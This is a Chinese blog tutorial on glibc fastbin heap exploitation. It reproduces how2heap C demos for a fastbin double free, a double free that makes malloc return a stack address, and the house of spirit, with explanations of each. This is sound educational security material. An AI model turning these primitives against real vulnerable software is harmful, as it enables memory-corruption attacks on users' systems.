linux堆内存漏洞利用之fastbin
来源:互联网 发布:查看java进程 编辑:程序博客网 时间:2024/06/10 09:48
背景介绍
在前一节主要介绍了Glibc的堆内存管理的机制,在上一节的基础上,我打算介绍一下针对Glibc堆内存管理的攻击。此系列我打算按攻击面是哪一个bin来展开,主要分为:
- fastbin的攻击
- smallbin的攻击
- largebin的攻击
- unsorted bin的攻击
- top chunk的攻击
本文主要介绍fastbin的攻击
fastbin漏洞利用
具体的fastbin的介绍请参考前一节和 Linux堆内存管理深入分析(下),在本节中主要结合how2heap的代码来介绍一下具体的漏洞利用思路。
fastbin double free
double free的意思就是一个malloc的指针被释放了两次,由于针对fastbin的free处理只是对double free做了简单的判断,所以很容易绕过它的double free判断。free() fastbin时的判断如下所示:
/* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; }
其中old指针为fast bin的头指针,即此处只是判断fastbin的头指针和p指针是否一致。所以fastbin double free的攻击思路就是我们只要保证要double free的chunk不在fastbin的头部即可。
具体的攻击示例如下:
#include <stdio.h>#include <stdlib.h>int main(){ printf("This file demonstrates a simple double-free attack with fastbins.\n"); printf("Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8); printf("1st malloc(8): %p\n", a); printf("2nd malloc(8): %p\n", b); printf("3rd malloc(8): %p\n", c); printf("Freeing the first one...\n"); free(a); printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); // free(a); printf("So, instead, we'll free %p.\n", b); free(b); printf("Now, we can free %p again, since it's not the head of the free list.\n", a); free(a); printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); printf("1st malloc(8): %p\n", malloc(8)); printf("2nd malloc(8): %p\n", malloc(8)); printf("3rd malloc(8): %p\n", malloc(8));}
在此示例中,首先申请三个大小为8的int数组,然后先free(a),由于fast bin是一个单链表,在插入和删除的时候只在头部进行,所以此时将a的chunk放入了fast bin的头部,随后又free(b),此时fast bin的头部为chunk b,随后又free(a),此时由于fast bin的头部为chunk b,所以在free()的时候进行判断old == p不会抛出错误进而绕过这个简单的判断处理。再进行malloc的时候首先会从fast bin的头部进行删除,则接下来第一个分配的chunk为chunk A,第二个分配的为chunk B,接下来会再次分配chunk A。
绕过示例结果如下所示:
fast bin double free in stack
上面的那个例子只是简单的一个double free,这个例子是利用double free漏洞在栈中构造了一个fake chunk。
其具体的示例如下所示:
#include <stdio.h>#include <stdlib.h>int main(){ printf("This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n"); unsigned long long stack_var; printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); printf("Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8); printf("1st malloc(8): %p\n", a); printf("2nd malloc(8): %p\n", b); printf("3rd malloc(8): %p\n", c); printf("Freeing the first one...\n"); free(a); printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); // free(a); printf("So, instead, we'll free %p.\n", b); free(b); printf("Now, we can free %p again, since it's not the head of the free list.\n", a); free(a); printf("Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsigned long long *d = malloc(8); printf("1st malloc(8): %p\n", d); printf("2nd malloc(8): %p\n", malloc(8)); printf("Now the free list has [ %p ].\n", a); printf("Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20; printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); printf("4th malloc(8): %p\n", malloc(8));}
在以上代码中,当d被malloc的时候,此时还有对应的chunk a在fast bin中,所以如果对d进行修改,也会影响到chunk a的值。我们知道malloced chunk和freed chunk对应的结构不一样,对与同一个chunk A来说,有两种形式–对于d来说,其对应的是malloced chunk,而其在fast bin中还有一个freed chunk。
其示例如图所示:
可以看到*d(payload开始地址)正好对应了chunk A的fd指针,将 *d的值赋值为&stack_var-8,则 stack_var=0x20即为在栈中伪造的chunk的size=0x20,与此fast bin的大小对应,此时chunk A的fd指向了在栈中伪造的chunk,此时就将伪造的chunk放入了fastbin链表中。进而malloc可以返回伪造的指针。
该示例代码的运行结果如下所示:
The house of spirit
此攻击也是在栈中伪造fake chunk,和第二个攻击不同的是其只是在栈中声明了一个指针,而并没有通过malloc()函数来在堆中申请空间,接着将该指针赋值为特定的伪造的chunk的地址,随后free该指针,就将在栈中伪造的chunk添加到对应的fastbin中去了。具体的示例如下所示:
#include <stdio.h>#include <stdlib.h>int main(){ printf("This file demonstrates the house of spirit attack.\n"); printf("Calling malloc() once so that it sets up its memory.\n"); malloc(1); printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); printf("This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]); printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2]; printf("Freeing the overwritten pointer.\n"); free(a); printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); printf("malloc(0x30): %p\n", malloc(0x30));}
示例的结果如下图所示:
参考
- how2heap
- linux堆内存漏洞利用之fastbin
- Upnp协议漏洞和Linux堆溢出之fastbin
- Linux 堆溢出之fastbin实例
- Linux堆溢出之Fastbin Attack
- Linux堆溢出漏洞利用之unlink
- 堆溢出学习之fastbin attack
- Linux下堆漏洞利用(off-by-one)
- fastbin
- pwn工具箱之fastbin attack
- 渗透测试漏洞利用之漏洞攻击
- Linux内核漏洞利用入门
- Linux 格式化字符串漏洞利用
- kali漏洞利用之BeeF
- 驱动学习----内存管理漏洞利用之--Ring3下Kill微点
- Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)
- Libc堆管理机制及漏洞利用技术 (一)
- 堆相关漏洞利用libc异常提示原因记录
- OpenSSL重大漏洞-Heartbleed之漏洞利用脚本POC讲解
- tomcat启动时卡在“INFO: Deploying web application directory .”的解决方法
- 使用websocket-bench进行socket.io性能测试
- PX4飞控之位置控制(1)整体架构
- 上传多个图片,并存储在session中,并且可以删除
- 常见兼容性问题
- linux堆内存漏洞利用之fastbin
- 给出一个百分制成绩,要求输出成绩等级A,B,C,D,E。90分以上为A,80~89分为B,70~79分为C,60~69分为D,60分以下为E
- HDOJ1022
- 1012. 数字分类 (20)
- macOS gdb: please check gdb is codesigned
- 在header中添加自定义属性防止CSRF
- Verilog中inout的用法(二)
- 笔试面试常考的一些小知识
- 程序员从打字开始